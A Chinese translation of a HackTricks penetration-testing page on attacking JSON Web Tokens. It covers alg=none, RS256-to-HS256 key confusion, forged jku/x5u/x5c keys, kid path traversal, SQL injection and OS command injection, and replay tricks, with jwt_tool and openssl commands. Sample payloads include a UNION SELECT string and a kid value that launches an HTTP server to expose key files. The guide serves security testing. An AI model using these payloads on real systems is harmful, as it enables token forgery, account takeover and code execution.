hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

14 KiB
Raw Blame History

JWT漏洞Json Web Tokens

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

如果您对黑客职业感兴趣并想要攻破不可攻破的东西 - 我们正在招聘!(需要流利的波兰语书面和口头表达能力)。

{% embed url="https://www.stmcyber.com/careers" %}

本文的部分内容基于这篇出色的文章: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT渗透测试的优秀工具作者 https://github.com/ticarpi/jwt_tool

快速成功

运行jwt_tool,选择All Tests!模式,等待出现绿色行。

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

如果你很幸运,该工具会发现某些情况下网页应用程序未正确检查 JWT

然后,你可以在代理中搜索该请求,或使用 jwt_ tool 转储用于该请求的 JWT

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

在不修改任何内容的情况下篡改数据

您可以仅篡改数据,保留签名不变,并检查服务器是否正在检查签名。尝试将您的用户名更改为"admin"。

令牌是否被检查?

要检查 JWT 签名是否正在验证:

  • 错误消息表明正在进行验证;应查看详细错误中的敏感信息。
  • 返回页面的变化也表明正在进行验证。
  • 没有变化表明没有验证;这时可以尝试篡改有效载荷声明。

来源

通过检查代理的请求历史记录,确定令牌是在服务器端生成还是在客户端生成。

  • 首次从客户端看到的令牌表明密钥可能暴露给了客户端代码,需要进一步调查。
  • 从服务器端生成的令牌表明是一个安全的过程。

时长

检查令牌是否持续超过 24 小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。

暴力破解 HMAC 密钥

查看此页面。

将算法修改为 None (CVE-2015-9235)

将使用的算法设置为"None"并移除签名部分。

使用 Burp 扩展程序调用"JSON Web Token"来尝试此漏洞,并更改 JWT 内部的不同值(将请求发送到 Repeater在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。

将算法从 RS256非对称更改为 HS256对称(CVE-2016-5431/CVE-2016-10555)

算法 HS256 使用密钥对每条消息进行签名和验证。
算法 RS256 使用私钥对消息进行签名,并使用公钥进行身份验证。

如果将算法从 RS256 更改为 HS256则后端代码将使用公钥作为密钥然后使用 HS256 算法来验证签名。

然后,使用公钥并将 RS256 更改为 HS256我们可以创建一个有效的签名。您可以检索执行此操作的 Web 服务器的证书:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

头部中的新公钥

攻击者在令牌的头部嵌入一个新密钥服务器使用这个新密钥来验证签名CVE-2018-0114

这可以通过"JSON Web Tokens" Burp扩展完成。
(将请求发送到Repeater在JSON Web Token选项卡中选择"CVE-2018-0114",然后发送请求)。

JWKS欺骗

说明详细介绍了一种评估JWT令牌安全性的方法特别是那些使用"jku"头声明的令牌。该声明应链接到一个包含令牌验证所需公钥的JWKSJSON Web Key Set文件。

  • 评估具有"jku"头的令牌:
  • 验证"jku"声明的URL确保它指向适当的JWKS文件。
  • 修改令牌的"jku"值指向一个受控的Web服务以允许流量观察。
  • 监视HTTP交互:
  • 观察HTTP请求到您指定的URL指示服务器尝试从您提供的链接获取密钥。
  • 在此过程中使用jwt_tool时,关键是更新jwtconf.ini文件将您个人的JWKS位置加入以便进行测试。
  • jwt_tool命令:
  • 执行以下命令以使用jwt_tool模拟场景:
python3 jwt_tool.py JWT_HERE -X s

Kid问题概述

一个可选的头声明称为kid用于标识特定密钥,在存在多个密钥用于令牌签名验证的环境中尤为重要。该声明有助于选择适当的密钥来验证令牌的签名。

通过"kid"揭示密钥

当头部中存在kid声明时建议搜索相应文件或其变体的Web目录。例如如果指定了"kid":"key/12345"则应在Web根目录中搜索文件_/key/12345_和_/key/12345.pem_。

使用"kid"进行路径遍历

kid声明也可能被利用来浏览文件系统,潜在地允许选择任意文件。可以通过将kid值更改为目标特定文件或服务来测试连通性或执行服务器端请求伪造SSRF攻击。通过在jwt_tool中使用-T标志来篡改JWT以更改kid值同时保留原始签名,如下所示:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

通过针对具有可预测内容的文件可以伪造有效的JWT。例如在Linux系统中已知包含值2/proc/sys/kernel/randomize_va_space文件可以在kid参数中使用2作为对称密码用于JWT生成。

通过"kid"进行SQL注入

如果kid声明的内容用于从数据库中获取密码,则可以通过修改kid负载来实现SQL注入。一个使用SQL注入修改JWT签名过程的示例负载包括

non-existent-index' UNION SELECT 'ATTACKER';-- -

这种修改会强制使用已知的秘密密钥ATTACKER进行JWT签名。

通过"kid"进行OS注入

如果kid参数指定了在命令执行上下文中使用的文件路径则可能导致远程代码执行RCE漏洞。通过将命令注入到kid参数中可以暴露私钥。一个用于实现RCE和密钥暴露的示例负载是

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u和jku

jku

jku代表JWK Set URL
如果令牌使用“jkuHeader声明,则检查提供的URL。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。

首先,您需要使用新的私钥和公钥创建新证书。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

然后,您可以使用例如jwt.io来使用创建的公钥和私钥并将参数jku指向创建的证书来创建新的JWT。为了创建有效的jku证书您可以下载原始证书并更改所需的参数。

您可以从公钥证书中获取参数"e"和"n"

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。指向一组以PEM格式编码的X.509证书格式标准公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的每个证书都会签署前一个证书从而完成证书链。X.509在RFC 52807中定义。需要传输安全性来传输证书。

尝试将此标头更改为您控制的URL并检查是否收到任何请求。在这种情况下,您可以篡改JWT

要使用由您控制的证书伪造新令牌,您需要创建证书并提取公钥和私钥:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

然后,您可以使用例如 jwt.io 来使用创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt 来创建新的 JWT。

您还可以滥用这两个漏洞进行 SSRF 攻击

x5c

该参数可能包含以 base64 编码的证书

如果攻击者生成自签名证书,并使用相应的私钥创建伪造令牌,然后将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t那么伪造的令牌基本上将被服务器接受。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

嵌入式公钥 (CVE-2018-0114)

如果 JWT 嵌入了一个公钥,就像下面的情况一样:

使用以下的 nodejs 脚本可以从这些数据中生成一个公钥:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

可以生成一个新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成一个新的签名:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

您可以使用以下Node.js脚本获取“n”和“e”

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

使用公钥和私钥以及新的“n”和“e”值您可以使用jwt.io伪造一个带有任何信息的新有效JWT。

ES256使用相同的nonce泄露私钥

如果某些应用程序使用ES256并使用相同的nonce生成两个JWT私钥可以被恢复。

这里有一个例子:ECDSA如果使用相同的nonce则泄露私钥使用SECP256k1

JTIJWT ID

JTIJWT ID声明为JWT令牌提供了一个唯一标识符。它可用于防止令牌被重放。
然而想象一种情况ID的最大长度为40001-9999。请求0001和10001将使用相同的ID。因此如果后端在每个请求中递增ID您可以滥用此功能来重放请求需要在每次成功重放之间发送10000个请求

JWT注册声明

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

其他攻击

跨服务中继攻击

已经观察到一些Web应用程序依赖于受信任的JWT服务来生成和管理它们的令牌。已记录到一个客户端由JWT服务生成的令牌被同一JWT服务的另一个客户端接受的情况。如果观察到通过第三方服务签发或更新JWT则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求目标时重放获得的令牌,以查看是否被接受。

  • 令牌被接受可能表示存在严重问题,可能允许欺骗任何用户的帐户。但应注意,如果在第三方应用程序上注册,可能需要更广泛的测试权限,因为这可能涉及法律灰色地带。

令牌的到期检查

使用“exp”有效载荷声明检查令牌的到期时间。鉴于JWT经常在没有会话信息的情况下使用需要谨慎处理。在许多情况下捕获并重放另一个用户的JWT可能会启用对该用户的冒充。JWT RFC建议通过利用“exp”声明为令牌设置到期时间来减轻JWT重放攻击。此外应用程序实施相关检查以确保处理此值并拒绝过期令牌的处理至关重要。如果令牌包含“exp”声明并且测试时间允许建议存储令牌并在到期时间过去后重放它。可以使用jwt_tool的-R标志读取令牌的内容包括时间戳解析和到期检查时间戳为UTC时间

  • 如果应用程序仍然验证令牌,则可能存在安全风险,因为这可能意味着令牌永远不会过期。

工具

{% embed url="https://github.com/ticarpi/jwt_tool" %}

如果您对黑客职业感兴趣并想要黑掉无法黑掉的 - 我们正在招聘!(需要流利的波兰语书面和口语能力)。

{% embed url="https://www.stmcyber.com/careers" %}